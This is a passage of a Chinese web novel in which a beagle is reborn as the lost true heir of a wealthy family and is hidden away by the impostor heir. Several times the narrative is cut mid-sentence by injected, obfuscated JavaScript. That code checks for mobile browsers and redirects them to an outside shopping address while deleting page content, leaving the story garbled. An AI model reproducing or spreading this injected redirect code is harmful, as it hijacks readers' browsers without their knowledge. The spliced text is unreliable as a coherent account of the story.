《开门,你的比格犬来了!》 1. 他能有什么坏心思 “安桥,你看,这个是你最喜欢的小骨头玩具。” “安桥啊,你看,这是哥哥,这是姐姐,哥哥姐姐都回来啦,你睁开眼睛看看,再坚持一下啊。” “呜呜呜——” 安桥感觉耳边的声音越来越远了,甚至都有些飘忽不定,它嘴边是最爱的小骨头玩具,可是它已经虚弱得无法咬住这个小东西了。 它勉强睁开眼睛,感觉眼前的人影开始晃动,逐渐越来越模糊。 安桥知道自己走到生命尽头了,它很难过自己即将离开最爱的家人了,它试图张开爪子,抓住他们,但实际上也只是徒劳。 最后它还是闭上了眼睛,停止了心跳,爪子还保持着微微张开的姿势。 从狗的一生来说,它算得上是非常幸福的,有特别好的爸爸妈妈哥哥姐姐,一直都是家里的独生狗,而它自然也觉得主人一家也是很幸运的,能拥有它这样独一无二的比格犬。 是的,它是一只皇帝型比格犬。 都说小狗死后最后消失的是听觉,但是安桥觉得这个说法肯定不对,不然它怎么听到了主人一家如释重负的叹气声呢。 肯定是假的,都是假的! …… 书房的木桌上摆放着两张刚刚从港口中心医院出来的亲子鉴定,上面的99.99%显得有些刺眼。 “支持安桥与裴家明存在亲生父子关系。” “支持安桥与赵成瑄存在亲生母子关系。” 坐在沙发上的男人将这两份亲子鉴定报告拿起来,反复观看,仿佛能从中间找到什么错漏,然而让他失望的是,这份来自港口中心的权威鉴定报告书上还有代表印章,这是做不了假的。 书房里的氛围都显得压抑了很多,他面无表情地靠在了沙发上,不知道在想些什么,直到手机铃声响起,接听后听到听筒对面的声音表情才算略微有些变化,对面说道—— “裴总,已经找到了,但是……人好像是出了点问题。” “什么问题?” 打电话的人站在病房外面,隔着玻璃看向里面的人,低声道:“说是三年前出了事情,送来医院就昏迷了,一直没醒来。” “植物人?”裴觉的神情这才松动一些,他的双肩略微下沉,下意识往后靠了一下,整个人舒展开来,语调平缓道:“原来是个植物人。” 他半眯起了眼睛,显然是对这个结果有些意外,但对于他而言,不得不说算是个不错的好消息,可是听筒对面的声音开始支支吾吾,好一会儿才低声道:“原本是植物人的,可是我今天来的时候才发现……他刚刚醒了。” 这一下书房的气氛陡然凝滞起来,裴觉上扬的唇角骤然僵住,轻松的笑意尚未抵达眼底就消失不见了,他深吸了一口气,强行压制住自己的情绪,问道:“今天醒来的?” “对,确定了,今天醒来的,不过因为昏迷时间有些长,整个人比较迷糊。”病房外的人举着手机,也很无奈道:“他现在完全不知道自己是谁,医生说暂时性失忆了。” 电话挂断之后,裴觉有一种“果然如此”的感觉,他早就预感这次的事情是个麻烦,原本以为是植物人,结果三年的植物人居然醒了。 “呵。”裴觉对自己的运气不抱有什么期望了,他深吸了一口气,神情看着有些冷硬:“三年了,这居然都能醒来?” 他觉得但凡自己情绪失控一点,都得被气疯了。 谁能想到当了裴家二十七年大少爷的他竟然不是裴家的血脉,准确来说,是被人调换进裴家的一只“狸猫”,而真正的裴家大少爷则是那个躺在医院三年的植物人。 他裴觉,明正集团接班人,毕业于世界超一流院校,二十一岁进入集团,从基层做起,二十五岁进入管理层,二十七岁已经是业内知名操盘行家。 他完全有接手明正集团的实力和身份,但是现在出现了一个重大问题。 那就是他不是裴家的真少爷,他是个假货,没有人比裴觉更明白这个消息一旦流传出去,等待他的将会是一无所有,所有的谋划都付之东流。 他会完蛋的。 “还真是会给我找麻烦。”他微微仰起头,靠着沙发,眼神显得无比凌厉,仿佛在这一刻就下定决心要怎么去做了。 没有人能阻挡他接手明正集团,没有人能挡住他的前途。 而此刻这个被认定为“麻烦”的人正坐在病床上有些呆愣愣地看着自己的双手,他又掀开了被子,看看自己的双脚,有些不理解地歪了歪脑袋,明明在闭眼前他还在努力伸着爪子去够主人的衣服,怎么一醒来就穿上人类的衣服了。 他对四周的一切都很好奇,左看右看,眼神里透着一丝本能的谨慎,一点开门的声音都能惊得他浑身一颤。 “病人能苏醒,完全是在意料之外的,简直堪称是医学奇迹,而且经过检 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一堆缴费单放到了特助的手上,他看着眼前的人,不明白为什么老板会让他必须把这个人秘密带回去,更不明白这个人和自家老板什么关系,但是现在看起来,这人嘴里应该也问不出什么了,估计是个傻子了。 就在特助思考的时候,一只手小心翼翼搭在了他的手腕上,特助微微一愣,抬起头就对视上安桥专注依赖的眼神,那一瞬间,特助觉得医生说的也挺对,医院太压抑了,还是带回去好好养着比较好。 “你记住了,你叫做安桥,我现在要带你出院了。”特助摸了摸安桥的脑袋,道:“如果难受了就告诉我。” “不……不难受。”安桥似乎说话还不太顺畅,他整个人看起来非常听话,小声道:“我……我害怕。” 哎哟,特助感觉心都化了,难怪他老板要把这位带到别墅里,这眼神看过来,就算是铁石心肠的人都得心软了。 2. 带回家 常年无外来人口的破旧小镇子上迎来了一辆外地牌照的车低调驶入,驾驶座上的青年神情有些阴郁,实际上这一路过来,他的心情就没有好过。 特助早就在楼下等着了,看到车子后立刻迎上去,为这人打开了车门,道:“裴总,您自己开车过来的?” “嗯。”裴觉将车钥匙丢给了特助,径自上楼道:“具体什么情况?” “这人叫做安桥,三年前出了事故,意外昏迷,家里已经没人了,父母都已经去世。”许特助说道:“他昨天才醒来,不记得自己是谁,也不记得发生了什么事情,甚至就连生活常识都已经丢失。” “弱智?”裴觉拧起眉头问道。 “额……也不算是,医生说应该是昏迷三年的后遗症,后面可以慢慢恢复的,他学习得很快,而且很乖,特别懂事。”许特助微微一顿,看着自家老板已经面露不悦顿时住口了。 裴觉嫌弃地扫了眼许特助,阴沉着脸上楼,在许特助的带领下找到了安桥所在的病房,他站在门口却没有直接进去,沉默地看着这扇门。 他很清楚门里到底是谁,那是被他替代了身份的真正的裴家大少爷,可是现在已经成了傻子,如果当初没有调换,现在西装革履的应该就是里面这个人,而不是他这个假货。 可是现在没得选,他已经走到了这一步,没有回头路了。 病房的门上有着一小块透明的可视窗口,裴觉透过这一小块玻璃看到里面的青年正站在窗户前面,略显宽大的病号服罩在他的身上,显得身形更加瘦弱,他微微仰着头,似乎是在看窗外的天空。 “可怜啊,父母都走了,也没钱,也没工作,脑子现在还不好使,医生说三年了,也没个亲戚过来看一眼。”许特助适时地补充道。 听到这话的裴觉轻轻扫了眼他,而后目光落在了门把手上,许特助立刻推开了这扇门,里面的消毒水味道有些浓烈,也许是推门的声音惊动了站在窗口的青年,对方转过头看向门口处,神情瞧着有些呆愣。 如果让裴觉去形容这一幕,他会觉得对方第一次看向他的眼神真的很好品味,从吃惊到茫然,最后再到惊喜。 “我认识你。”安桥的眼睛亮晶晶的,笑起来略微弯起,这话却让裴觉这本就心里有鬼的人顿时警铃大作,他冷下脸道:“我不认识你。” “可我认识你。”安桥不等裴觉说话,便一副乖顺模样地道:“我在这个上面看过你。” 他抬手指向了电视机,那是他今天学会的,一打开就看到了上面意气风发的男人正在接受媒体采访,而现在刚刚出现在电视上的人就在他的面前,这种奇妙的感觉让安桥觉得很是新奇。 裴觉顺着这人所指的方向看向了电视,眸光微沉,随后毫不掩饰地打量着这个瘦弱的青年,思考着来时特助所说的话,有点怀疑眼前这个人是否真的是弱智。 至于特助那句“不算是”已经被他忽略的彻彻底底了。 病房的窗户是打开的,凉风吹了进来,安桥恰巧打了个喷嚏,他下意识甩了甩脑袋,但意识到自己身边还有人的时候,就立刻偏头看去,问道:“我叫安桥,你叫?” 裴觉来之前就已经把这人查个底儿掉了,对对方的了解恐怕比眼前这个本人都清楚,不算聪明,但也算是听话,非常平平无奇的一个人,很难想象这居然真的是裴家明的种,果然是环境影响一个人,能让一个这么劣质的基因都能长成如今这副听话乖巧的样子。 “你在笑什么?”安桥不太理解,但是本能地察觉到了这人看起来不一般。 裴觉唇角微微上扬,他看似礼貌,实则疏离 ,回答道:“我听小许说你失忆了,看来你是真的不记得我了,我重新跟你介绍一遍我自己。” “我叫裴觉,是你的债主,在你昏迷之前你还欠了我一大笔钱,然后就逃到了这里,所以现在既然你醒来了,我们就得重新算算了。”裴觉说这话的时候,目光从未离开过安桥的脸,似乎是想从对方的表情变化判断他是否是真的失忆了。 多疑敏感不近人情,这是其他人对裴觉的评价,但是裴觉自己并不觉得,他认为这是一个正常成年人应具有的自我保护意识。 所以,他其实是并不相信眼前这个人这么巧在许特助来了之后就醒了,又这么巧地失忆了,这一切透着一股阴谋的味道。 “债主?欠?”安桥似乎并没有意识到这个身份的意义,他眼神里透着一丝好奇,道:“那我欠你什么了?” “三千万。”裴觉面无表情地摇晃了一下医院的缴费凭证,道:“现在不止了。” 安桥似乎是被这大额债务震惊了一下,试图想要向许特助求助,然而对方早就很有眼力见地出门了,并且关上了病房的门。 整个病房里只剩下冷漠无情的债主裴觉和卑微弱小的安桥,至少在安桥的眼中是这样的。 直到裴觉走出这个病房,实际上他都没有放下对安桥的怀疑,走出门时回头看了眼已经坐在病床上休息的安桥,对方似乎还沉浸在那巨额欠债的消息中久久不能回神。 “三千万……”安桥低声嘀咕着:“三千万是什么?” …… 安桥心中还在挂念着那个三千万,转而第二天就被带上了车,他现在脑子还不算很清醒,医生多方盘问之下才让裴觉带走了安桥。 “你说你是我哥,所以带走了我?你不是说你是我的债主吗?” “你不是说我欠了你三千万吗?”…… 裴觉面无表情地看着平板电脑上的信息,处理着公司的事情,耳边的人显得有些聒噪,他拧起眉头不耐烦道:“闭嘴。” 本来还在絮絮叨叨的安桥迟疑了两秒,选择了闭嘴,他坐在后座,仿佛是第一次坐车,手脚不知道往哪放,总是试图往副驾驶位和后座中间的空隙里挤,被眼疾手快的裴觉顺手一提,拎着后脖颈丢到了后座上,在对方还想动的时候,略显冷漠道:“再动就把你丢下去。” 安桥浑身微微一抖,这一下终于安静了,他眼神有些惊疑不定地看着裴觉,似乎是被裴觉的这句话吓到了,一路上都不再吭声了。 驾驶座上的许特助看了眼后视镜,有些同情这个即将落入他们老板手中的小可怜。 “裴总,是直接去别墅那边吗?我来之前裴董问我您最近在干什么,一直忙得见不着人。”许特助对裴家那点龌龊事有些了解,他道:“我跟裴董说有个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“小安?你叫得倒是亲热了。”裴觉闭眼休息,直到感觉自己的手被什么触碰一下,豁然睁眼就看到安桥正小心翼翼地挪动位置。 他也没想到会碰到裴觉,此刻面对裴觉充满了深思的目光,安桥顿时僵住在原地不敢动弹了。 “呵。”裴觉觉得有点好笑,眼前这个人似乎很怕他,于是问道:“你害怕我?” 安桥犹豫了几秒后,轻轻点头。 “为什么?我看起来很吓人吗?”裴觉换了个姿势,眼神充满了攻击性,似乎只要安桥撒谎,他就能瞬间察觉,并且直接揭穿。 然而让他感到意外的是,安桥在这个问题下没有半点犹豫地摇头,并且主动抬起手搭在了裴觉的手背上,神情专注道:“你很好看,所以我很喜欢。” 裴觉原本戏谑的神情略微一变,他唇角略微下压,收回了自己的手,用纸巾擦拭了一下手背,神情阴冷下来。 果然,这人非常可疑,这幅做作的样子,非常刻意。 在前面开车的许特助并未看到这一幕,只是感觉自家裴总的心情似乎瞬间跌落谷底,不过他已经习惯了老板阴晴不定的样子,并未感觉有什么不妥。 说到底,他还是有些可惜安桥这么乖这么懂事的人,就这样被裴觉带回去了,真是造孽了。 3. 缠住! “你要带我去哪里?” “我们不过日子了吗?”…… 之前裴觉让安桥闭嘴,对方只能乖乖听话,可惜的是,只听话了半个小时又开始聒噪起来,这对于喜欢安静的裴觉而言,算是一种折磨了。 他冷冷瞥视了一眼安桥,警告道:“不要再让我听到你的声音,否则我一定会把你直接丢到高速公路上。” 他的语气比眼神更冷漠,安桥敏锐的察觉到这次似乎是真的生气了,他老实地坐在后座,微微低垂着脑袋。 “裴总,小安才醒来没多久,意识还不太清楚,多少有些没安全感。”许特助看安桥穿着较为宽松的外套,因为低垂着脑袋所以看不清是什么表情,但是那种浓浓的悲伤气息笼罩着他,让人看着都觉得可怜,于是鼓足勇气试探着劝道:“其实他还是很听您的话的。” 安桥似乎对此表示认同,轻轻点了点头。 对于这番话,裴觉看似没有放在心上,他闭眼休息,耳边传来安桥较为轻微的呼吸声,对方似乎是在抽泣,以至于裴觉不得不深吸了一口气,面色阴郁道:“带你回家。” “回家?”这两个字似乎是出发了安桥敏锐的神经,他猛地回过头看向裴觉,眼神亮晶晶的,仿佛盛满了希冀,他满怀期待道:“回家?是家吗?” 裴觉一睁开眼就和这双充满了依赖的眼神对视上了,他心头微动,略微抬起下巴居高临下地看着这个被自己玩弄于股掌之中的蠢货,唇角微微上扬,道:“对,带你回家,如果你敢不听话,我就把你丢了。” “我听话,我一定很听话的。”安桥连忙点头,诚恳道:“我一直非常听话,带我回家吧,我最喜欢家的感觉了。” 他的眼神太热切了,以至于裴觉都不太适应这样的目光,索性不再搭理安桥,继续选择闭目养神,因此错过了安桥脸上阴谋得逞的笑容。 回家,回家好啊。 他最喜欢家了,一旦认定了,那可就是一辈子了,永远不分离啊。 安桥还记得自己曾经的家,那是一个不算大,但也不算小的屋子,三室两厅,都是它的游乐园,它可以满屋子随地打滚,可以随时高歌一曲,往往主人都会非常高兴地捧着它,嘴里说着让他不要叫了,实际上身体很诚实地抱着他。 这就是爱。 而车内适时地响起了“这就是爱~”的音乐,本就心烦的裴觉更加心烦了,他微微拧起眉头,一言不发,懂事的特助立刻关闭了音乐,换上了较为轻缓的纯音乐。 安桥轻轻歪了歪脑袋,完全欣赏不来。 这一路对于安桥而言哪里都很新奇,特别是身边这个说会带他回家的人,虽然对方没有给他一个好脸色,但是安桥并不在乎这个,反正最后他接触过的人最终都是一个样子,大吼大叫,毫无理智,或者埋头痛哭,症状最轻的也是默默流泪,抱着他想跟他一起死。 他坚持认为,所有人都会被他的狗格魅力所折服。 江洲市的半山腰别墅隐私性很强,门口的安保措施十分严格,安桥有些好奇地扒拉着车窗看向外面,感觉车子好像一直在往山上走。 “小安,喜欢这里吗?这里空气特别好,适合你养身体。”许特助看安桥十分不安地看着外面,神情似乎有些紧张,他安抚道:“这是裴总特地为你准备的。” “家。”安桥有些期待起来,这在山里的家会是什么样子的。 “对……家。是家。”许特助感觉心都软了,现在的安桥在他的眼中就是一个刚刚醒来,对未来完全处于茫然的状态,毫无安全感,再看看坐在安桥旁边姓裴的人,满脸冷漠,怎么看怎么难相处,完全处于非常强势的地位。 他开始为安桥的未来担忧起来了。 裴觉深吸了一口气,什么话都没说。 车停在别墅门口的时候,裴觉自顾自地下了车,准备往屋子里走,而许特助则是将后备箱的行李都拿出来,安桥的行李特别少,箱子都很空,里面最值钱的应该就是他死活要带走的碗了。 实际上裴觉也不知道这人非要这个破碗干什么,但是懒得争辩。 “下车。”裴觉一扭头就发现对方根本没有下车,还在车上不知道干什么,面色阴沉,眉宇之间略带一丝烦躁,道:“难道还要我请你下车吗?” “我来我来。”许特助在裴觉要发火之前立刻冲了过去,提溜着行李箱,打开了车门,为安桥找了个合适的理由,道:“小安以前家境不好,后来又昏迷三年,不会开这种车门很正常,是我考虑不周,没有自动打开。” 裴觉有些莫名其妙地看着许特助,道:“我怎么没发现你以前也这样多管闲事?” “这不一样啊。”许特助苦笑道:“小安看起来太乖了,如果不帮他解释一下,他只知道低头挨骂,半个字都不会反驳。” 裴觉看着一脸茫然的安桥,对方似乎对这里有些惊讶,左右看了下,但是最后目光还是专注在裴觉身上,似乎对方站在哪里,哪里就是世界核心了。 “这么依赖我吗?”裴觉心中暗想。 这栋别墅是裴觉的私人住宅,就连他的父亲都不知道,往常他很少来这里,不过现在看起来,倒是一个藏人的好地方,只是关于他和安桥之间的关系,只有他自己知道,一个字都没有跟许特助透露过,所以在许特助眼中,自家老板的这个不太道德的行为应该算得上“金屋藏娇”了。 许特助甚至都不敢去和安桥纯真的眼神对视,总感觉自己像是在助纣为虐,为裴觉办事这么多年,他第一次感觉良心受到了谴责。 别墅提前让人收拾过了,里面干干净净的,甚至放了一束鲜花在巴卡拉的水晶花瓶中,超高的挑高几乎让人炫目,可屋子里摆放的东西极少,看起来就像是长久无人居住的模样。 安桥一进门就先关注了一下这个鞋柜,门口的鞋柜是专门定制的,里面摆放的每一双鞋对于安桥而言,都像是诱捕器,实际上在当狗的时候,他顺利让全家都没有一双好鞋,没有一双健康的袜子,以及保持着半个月一个沙发的战绩,最后家里买了铁沙发回来,不过难不倒安桥,因为它顺利将自己卡在沙发里并且叫唤了一下午,最后邻居报警了。 他觉得进门第一步,一般需要从鞋柜做起,他是一个有条理有计划的比格犬。 “你的鞋在这里。”不等安桥行动,裴觉就已经将一双鹅黄色的拖鞋放在了安桥的面前,道:“以后你就住在这里,不要乱动我的东西,不要随便乱跑。” 安桥盯着自己脚边鹅黄色的拖鞋和旁边银灰色拖鞋,他似乎是在想着些什么,无论刚刚裴觉说了什么,此刻这话都被他丢到脑后了,他试探着抬起脚放进了银灰色的拖鞋中。 “你……”裴觉刚准备跟他说家里的密码,录入指纹和瞳孔,就发现安桥穿错了拖鞋,眉头略微拧起,他道:“你听不懂吗?黄色拖鞋是你的。” “可是……”安桥抬起头看着裴觉,理直气壮道:“我刚刚昏迷才醒来,我……” 这一路上,他别的东西没学到,但是把许特助的话倒是背得十分熟练,并且熟练运用了,不等他说完,裴觉就觉得开始头疼了,他打断了安桥的话,快速道:“随你,但是不准再有下一次了。” 许特助拎着行李箱刚刚进门,就看到自家老板在训斥安桥,警告对方“不准再有下一次”,安桥低着头手足无措的样子看着就觉得可怜,特别是当他抬头看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513109|203088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴觉的时候,眼神更显无助了。 “裴总。”许特助连忙打圆场道:“小安还……” “你也闭嘴吧。”裴觉已经不想再听到那个理由了,他一挥手,指着楼上道:“二楼的客卧是你的房间,旁边是我的卧室,三楼不要上去,记住了吗?” “难道我要一直住在这里了吗?”安桥轻轻歪了歪脑袋,环顾四周,道:“都是我的?” “你还想要去哪里?”裴觉冷笑道:“三千万的债忘了?” 他走到沙发上,累了两天了,随意解开了衣领的扣子准备坐下休息,谁知道一转头就发现本该老老实实站在玄关处的安桥消失不见了,他已经不记得这是自己今天第几次拧起眉头了,开口道:”安桥?“ 没有人回答他,而许特助正在二楼,把安桥的行李箱放到客卧。 就在裴觉困惑安桥去哪里的时候,就听到门外传来了一阵阵“werwerwer——” “这是什么动静?”裴觉起身往外走去,许特助适时地跑了下来,跟在其身后,就看到安桥站在了别墅的喷泉池边缘张开双臂,仿佛迎接着风,大声道:“werwerwer——” “他可能是在说‘哇哦”,您知道的,他没见过什么世面,可能是对眼前的这个别墅非常的震惊,裴总您知道的,您的财力很惊人。”许特助脑子转得飞快。 但是裴觉根本不吃这一套,他唇角下压,脸色阴沉下来,抬起手指着正在迎风飞翔的青年,道:“你再说他不是弱智?他不是脑子有问题?” “其实……”许特助挣扎着解释,试图再救安桥一次,不知道为什么,在看到安桥的那一眼,他莫名就有一种要救赎安桥的使命感。 这对于一个从业多年的专业特助,为裴觉出谋划策,干了不少缺德事的他而言,实在是太过罕见了。 可是这次裴觉没给他解释机会,直接冷声道:“目前这种情况,就两个可能,你二选一吧。” “什……什么?”许特助疑惑道。 “要不他是装的,演傻子给我看,要不……他就是神经病。”裴觉说道:“有病就让医生过来治。” 安桥注意到裴觉之后,他就没有叫唤了,而是朝着裴觉张开了双手,在裴觉不解的目光中跳下了喷泉池,然后走向裴觉。 “干什么?”裴觉警惕道,满脸排斥。 然而迎接他的,是一个大大的,温软的拥抱,安桥将脑袋埋在了裴觉的胸膛前,闷声道:“这是我的家了,一辈子的家。” “嗯,是你的家。”裴觉垂眸看着怀里的青年,依稀能感觉到对方明显营养不良的身躯和略显急促的呼吸,他似乎是想到了什么,再次强调道:“以后住在这里,没有我的允许,不要出门,记住了吗?” “我这么乖,你会养我一辈子的吧?”安桥闷声问道。 乖吗?看起来的确很乖,如果忽略刚刚有些神经质的举动,那基本上就没有问题了。 裴觉抬起手轻轻揉了揉安桥的后脑勺,他唇角微微上扬,眼神透着一丝阴冷,道:“嗯,只要你听话,我会养你一辈子。” 安桥的眼神瞬间亮起来了,他猛地抬头看向了裴觉,仿佛找到了归宿,这毫无保留的信任让裴觉心中也稍有触动。 “我会养你一辈子。”裴觉再次说道:“安桥。” 安桥满脑子都是“养你一辈子”,哪里还能思考别的,他甚至逐渐兴奋起来了,要不是没有尾巴,此刻尾巴都能摇成螺旋桨。 养他很好啊,这很好! 他最喜欢会养他的人类! 从这一刻起,安桥决定了,他一定会死死缠住这个人,说好养一辈子,那就是一辈子! 4. 初见端倪 安桥算是正式在这个别墅里住下了,而裴觉安顿好了安桥之后,就得立刻赶往公司,他公司里还有一堆烂摊子要收拾,不仅有抛妻弃子、婚内出轨的爸,还有一个时刻觊觎他位置的私生子,以及那一帮如狼似虎的董事会成员。 一想到这里,裴觉就觉得头疼起来。 “裴总,按照裴董的意思,目前集团重点是江洲市的032大型工程项目。”许特助一边开车一边说道。 裴觉头都没抬,继续看着电脑文件。 “不过以您的实力,接下江洲市的032工程项目完全没问题。”许特助轻松地笑了笑,道:“裴董应该也是这么打算的,最近非常关注您的动向。” “没跟他说安桥的事情吧?”听到这话,裴觉才问了一句。 许特助连忙摇头,示意自己没有,并且解释道:“小安的事情我谁都没说,房子周围的安保措施进行了加强,以防止有外人进出的。” 安桥的身份太过特殊,裴觉并不打算将这件事情公之于众,他要死死捂住这个隐形炸弹,绝不能出问题。 至少在他坐稳总裁的位置之前,绝不能出现任何纰漏。 他想起那个被困在别墅里的人,想到对方提起“家”时期待的眼神,脊背略微绷紧,骨节分明的手指略微蜷曲起来,神情隐晦,不知道心里在想些什么。 事实上,如果裴觉知道现在安桥在做些什么,他应该担心的就不是安桥了,而是他价值不菲的别墅了。 此刻的安桥正在屋子上上下下溜达着,他好奇地打量着四周,尤其是自己的房间,至于之前裴觉说不让他上三楼的事情也被他选择性忽略了,实际上他就没打算听话过。 摆放在客厅大理石岛台上的巴卡拉水晶花瓶,又或者是大厅中心的油画,亦或者是摆放整齐的鞋柜,甚至于裴觉离开时落在了沙发上的外套,在他眼里,一切都有挑战性。 “我的家。”安桥迈着六亲不认的步伐,在整个屋子里到处走,他所过之地,都留下了独属于他的专属标记,就连门都留下了牙印。 这里是他的家,他想要做什么就做什么,想要怎么弄就怎么弄,就算他今天要倒立着在浴室吃狗粮,都没谁能管得了他。 他在玄关处盯着这个鞋柜很久了,从刚刚进门开始,这个鞋柜的命运就早已注定,即便裴觉打断了他的计划,但现在裴觉不在这里,他的计划可以继续实施。 他抬起手试图掰开鞋柜,以前明明用爪子使劲扒啦才能打开的鞋柜此刻柜门被他直接掰下来了,有些用力过大的他看着自己的手掌,非常满意自己的力道。 “这是我的,这是裴觉的。” “这是我的,这个也是我的,这个还是我的,这个全部都是我的,werwerwer——” 当狗的时候从来没有穿过鞋子的安桥觉得非常新奇,一下子拥有了这么多的鞋,他将鞋柜和玄关里的东西都扒拉出来,试图把所有的东西都摊放在自己的面前。 他仿佛满足了小时候的自己,毕竟小时候就因为没有拥有属于自己的鞋子,所以偷偷叼着一只鞋子去了狗窝里,然后被主人一顿教训。 安桥不服气,凭什么他不能拥有属于自己的鞋子。 安桥已经忘记了,挨骂不仅仅是因为鞋子,还因为鞋子被他咬得支离破碎,鞋底都被它吃掉了一半,选择性记忆的它只记得自己没有鞋子这件事情。 他在玄关处忙得团团转,时不时将目光投向桌子上的花瓶和沙发上的衣服,但是似乎是在试探着裴觉对他的容忍度到底多少,深吸了一口气之后忍耐住了,决定将别墅重新装修计划有序进行中。 今天先从鞋柜做起。 身后的门不知道怎么被他碰开了,他本来往后坐的,都差点摔出去,心有余悸地回过头看着外面,对于门忽然打开有些惊喜,天知道那个门把手上面还有他的牙印,但是依旧没有打开,现在倒是自己打开了,莫不是也拜服在他的魅力之下。 安桥试探着走出去,左右看了眼,发现无论是裴觉还是许特助都不在,于是试探着再走出去几步。 “你乖乖的,不准随便出门。”这句话是裴觉在十分钟之前警告安桥的,现在才十分钟过去,鞋柜碎掉了,鞋子的鞋面和鞋底分家了,以及不让出门的话也被抛之脑后了。 狗出门了,狗需要遛弯,狗等会再回来! …… “集团下半年的重点是江洲市032项目,我们……” “阿嚏。”裴觉打了个喷嚏,神情看上去有些疲惫,大概是这几天神经紧绷加上来回赶路,一直都没能好好休息。 会议室里还在讨论着关于集团下半年发展的计划,裴觉早就知道了,如今也不过是在走个过场而已。 坐在首位的裴董事长看了眼裴觉,裴觉正好抬头,对上父亲的目光后,神情微微变了一瞬,而后立刻归于平静,轻轻点头然后继续听着会议报告。 不知道为什么,他总觉得今天的右眼皮跳得厉害,别人总说“左眼跳财右眼跳灾”,其实裴觉是不相信这种毫无根据的说法的,但是他现在总是会想到某个被藏在别墅里的人。 他略微拧起眉头,感觉自从接回来安桥,他似乎就没有安心过,整天过得像是在走钢丝,生怕行差踏错便会摔得粉身碎骨。 会议结束之后,他就准备去一趟别墅那边,然而却提前被裴董事长拦下了,问道:“我听小许说你去一个小镇子上做项目前期考察,什么项目竟然值得你亲自去?” “正好路过那边,就顺便去了一趟,是当地的一个文旅项目,有助于提高企业的正面形象。”裴觉说道。 “这些不是你该操心的事情。”裴董事长显然对这个项目并不感兴趣,他指了指回忆投屏上的“江洲市023工程项目”,道:“这个项目,你做好准备,想要正式进入董事会没有一个拿得出手的项目是不行的。” 听到这话,裴觉的眼神微微一亮。 “你弟弟也从分公司调上来了,你有空就多带带他,他对你这个大哥还是很尊重的,这个项目你带他一起参与。”裴明正这时候其实才切入了问题重点,他道:“我给你一年的时间,项目做好了,你就算正式接班人了,董事会的大家也会心服口服。” 裴觉在听到“弟弟”两个字的时候,神情就微微一变,他唇角下压道:“知道了,爸爸。” 裴明正离开的时候,裴觉还站在原地,他目光阴冷地盯着裴明正的背影,许特助跟在他的身边,能感觉到自家老板正处于情绪不佳的时候,便什么也不敢说。 “裴二少要调回总公司的消息,我们也是今天才听到,裴董瞒得很严实,并没有走漏风声。”许特助低声道:“要不要我们的人去查一下?” “晚了,先不用管他。”裴觉并不觉得意外,他道:“你不用跟着我了,我晚上去一趟安桥那边。” “好的,裴总。”许特助说道,他犹豫再三后,斟酌着问道:“要不要给小安买个手机?我怕他一个人在别墅里呆久了,别抑郁了。” 裴觉斜睨了许特助一眼,对方立刻不吭声了,他冷笑道:“少做多余的事。” 许特助轻轻叹了口气,想着安桥一个可怜无辜的人就这么被困在了别墅里,甚至都没有手机,甚至还背上了莫须有的三千万债务,怎么想怎么可怜,顿时同情极了。 裴觉的右眼皮一直跳个不停,他总觉得有什么大事要发生,颇有些心神不宁的感觉,可仔细想想最近做的事情也没什么纰漏。 沿着绿荫大道开到了别墅区, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513110|203088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越是往回走越觉得不对劲,这种非常不妙的感觉持续到他将车停放在别墅门口,却并未看到安桥出来迎接,且别墅大门还是开着的。 “在家干什么呢?”他不耐烦地下了车,将门“啪”得一声关上,随意拽了拽衣领,朝着屋子里走去,本以为灯火通明的别墅里应该有一个人在乖巧地等着他,谁知道他刚刚站在别墅大门口就愣住了。 裴觉往后退了一步,再看了眼这个门,这个别墅,以为是自己走错了。 “是13栋,怎么回事……”他往前一步,目光落在了破损的别墅大门,散落一地的鞋子残骸,被暴力拆卸过的鞋柜,整个玄关处像是台风过境一般,充满了凄凉感。 “遭贼了?”裴觉脑海里瞬间闪过这个可能性,他大跨步往里走,喊道:“安桥!安桥?!安桥出来!” 他几乎是快速上下跑了一遍,但是除了玄关处,其他地方都没有任何动静,裴觉立刻准备拨打安桥的手机,这才想起来安桥还没有手机,气恼得一拳砸在了楼梯扶手上,而后一边往外走,一边阴沉着脸打电话给许特助。 “屋子里面有没有安装监控?对,家里可能是遭贼了,但是也不像,东西没丢,但是安桥不见了,不,不能报警,你立刻调查四周的监控……”裴觉的目光忽然落在了门口,他看到大门口站着的人,大晚上的甚至有一种说不出来的阴森感。 那一瞬间,他有一种强烈的直觉,把这扇门打开,他将错过命运给他的最后一个善意提醒,可是他知道外面站着的安桥。 “不用找了,我找到他了。”裴觉神情阴郁道。 他挂掉电话,大跨步朝着大门处走去,豁然一把拉开了大门,忽然发现本来一向完好无损的门竟然被一拉扯就卡住了,也不知道是什么时候坏掉的。 